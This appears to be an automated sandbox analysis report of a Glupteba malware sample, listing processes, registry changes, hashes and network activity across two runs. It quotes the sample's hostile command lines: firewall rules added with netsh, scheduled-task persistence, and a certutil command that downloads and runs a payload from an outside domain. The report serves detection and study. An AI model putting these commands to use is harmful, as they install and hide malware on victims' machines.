Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Token: SeImpersonatePrivilege N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\rss\csrss.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2992 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe C:\Windows\system32\cmd.exe
PID 2992 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe C:\Windows\system32\cmd.exe
PID 2992 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe C:\Windows\system32\cmd.exe
PID 2992 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe C:\Windows\system32\cmd.exe
PID 2008 wrote to memory of 2568 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2008 wrote to memory of 2568 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2008 wrote to memory of 2568 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2992 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe C:\Windows\rss\csrss.exe
PID 2992 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe C:\Windows\rss\csrss.exe
PID 2992 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe C:\Windows\rss\csrss.exe
PID 2992 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe C:\Windows\rss\csrss.exe
PID 2680 wrote to memory of 2852 N/A C:\Windows\rss\csrss.exe C:\Windows\system32\bcdedit.exe
PID 2680 wrote to memory of 2852 N/A C:\Windows\rss\csrss.exe C:\Windows\system32\bcdedit.exe
PID 2680 wrote to memory of 2852 N/A C:\Windows\rss\csrss.exe C:\Windows\system32\bcdedit.exe
PID 2680 wrote to memory of 2852 N/A C:\Windows\rss\csrss.exe C:\Windows\system32\bcdedit.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"

C:\Windows\system32\makecab.exe

"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240730192326.log C:\Windows\Logs\CBS\CbsPersist_20240730192326.cab

C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe ""

C:\Windows\system32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\system32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"

C:\Windows\system32\bcdedit.exe

C:\Windows\Sysnative\bcdedit.exe /v

Network

Country Destination Domain Proto
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 8.8.8.8:53 msdl.microsoft.com udp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 8.8.8.8:53 hotbooks.tech udp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp
US 8.8.8.8:53 f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com udp

Files

memory/2084-0-0x0000000004880000-0x0000000004C27000-memory.dmp

memory/2084-1-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2084-2-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2084-4-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2992-5-0x0000000004A50000-0x0000000004DF7000-memory.dmp

\Windows\rss\csrss.exe

MD5 0c19acdf6bfbf4ee34d547f2fd8b44e2
SHA1 e98b131e5f2ba6e06763061e71e41e3d56f8e845
SHA256 556848f1d6b1c534ed925865de31a3d1669aac08d02674fd212762b6a15eaa49
SHA512 8dde14e02743a994cac8365f43199a152afacdec7467280fd0870803d0cc596e687ad02e847e9a9feddbd4c0a90534947e3daeea8fa066853a93905ec4cd455e

memory/2992-14-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-15-0x0000000004810000-0x0000000004BB7000-memory.dmp

\Users\Admin\AppData\Local\Temp\csrss\patch.exe

MD5 13aaafe14eb60d6a718230e82c671d57
SHA1 e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512 ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

memory/1824-21-0x0000000140000000-0x00000001405E8000-memory.dmp

\Users\Admin\AppData\Local\Temp\dbghelp.dll

MD5 f0616fa8bc54ece07e3107057f74e4db
SHA1 b33995c4f9a004b7d806c4bb36040ee844781fca
SHA256 6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA512 15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

\Users\Admin\AppData\Local\Temp\symsrv.dll

MD5 5c399d34d8dc01741269ff1f1aca7554
SHA1 e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256 e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA512 8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

MD5 1afff8d5352aecef2ecd47ffa02d7f7d
SHA1 8b115b84efdb3a1b87f750d35822b2609e665bef
SHA256 c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512 e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

memory/1824-35-0x0000000140000000-0x00000001405E8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab2CAE.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar2CDF.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

memory/2680-143-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-263-0x0000000000400000-0x0000000002FC8000-memory.dmp

\Users\Admin\AppData\Local\Temp\osloader.exe

MD5 e2f68dc7fbd6e0bf031ca3809a739346
SHA1 9c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256 b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA512 26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

memory/2680-379-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-434-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-490-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-491-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-492-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-493-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-494-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-495-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-496-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-497-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-498-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2680-499-0x0000000000400000-0x0000000002FC8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-28 06:10

Reported

2024-07-30 19:25

Platform

win10v2004-20240730-en

Max time kernel

133s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"

Signatures

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\rss\csrss.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2951562807-3718269429-4208157415-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BillowingGrass = "\"C:\\Windows\\rss\\csrss.exe\"" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\rss C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
File created C:\Windows\rss\csrss.exe C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\rss\csrss.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Token: SeImpersonatePrivilege N/A C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3544 -ip 3544

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3544 -s 800

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\263ab35da202\263ab35da202\263ab35da202.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\263ab35da202\263ab35da202\263ab35da202.exe" enable=yes

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe ""

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2252 -ip 2252

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 572

Network

Country Destination Domain Proto
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 99.58.20.217.in-addr.arpa udp

Files

memory/3544-1-0x0000000004EF0000-0x000000000529C000-memory.dmp

memory/3544-2-0x00000000052A0000-0x0000000005996000-memory.dmp

memory/3544-3-0x0000000000400000-0x0000000000B10000-memory.dmp

memory/3544-6-0x0000000000400000-0x0000000000B10000-memory.dmp

memory/3544-5-0x00000000052A0000-0x0000000005996000-memory.dmp

memory/3544-4-0x0000000000400000-0x0000000002FC8000-memory.dmp

memory/2252-8-0x0000000000400000-0x0000000002FC8000-memory.dmp

C:\Windows\rss\csrss.exe

MD5 0c19acdf6bfbf4ee34d547f2fd8b44e2
SHA1 e98b131e5f2ba6e06763061e71e41e3d56f8e845
SHA256 556848f1d6b1c534ed925865de31a3d1669aac08d02674fd212762b6a15eaa49
SHA512 8dde14e02743a994cac8365f43199a152afacdec7467280fd0870803d0cc596e687ad02e847e9a9feddbd4c0a90534947e3daeea8fa066853a93905ec4cd455e

memory/2252-13-0x0000000000400000-0x0000000002FC8000-memory.dmp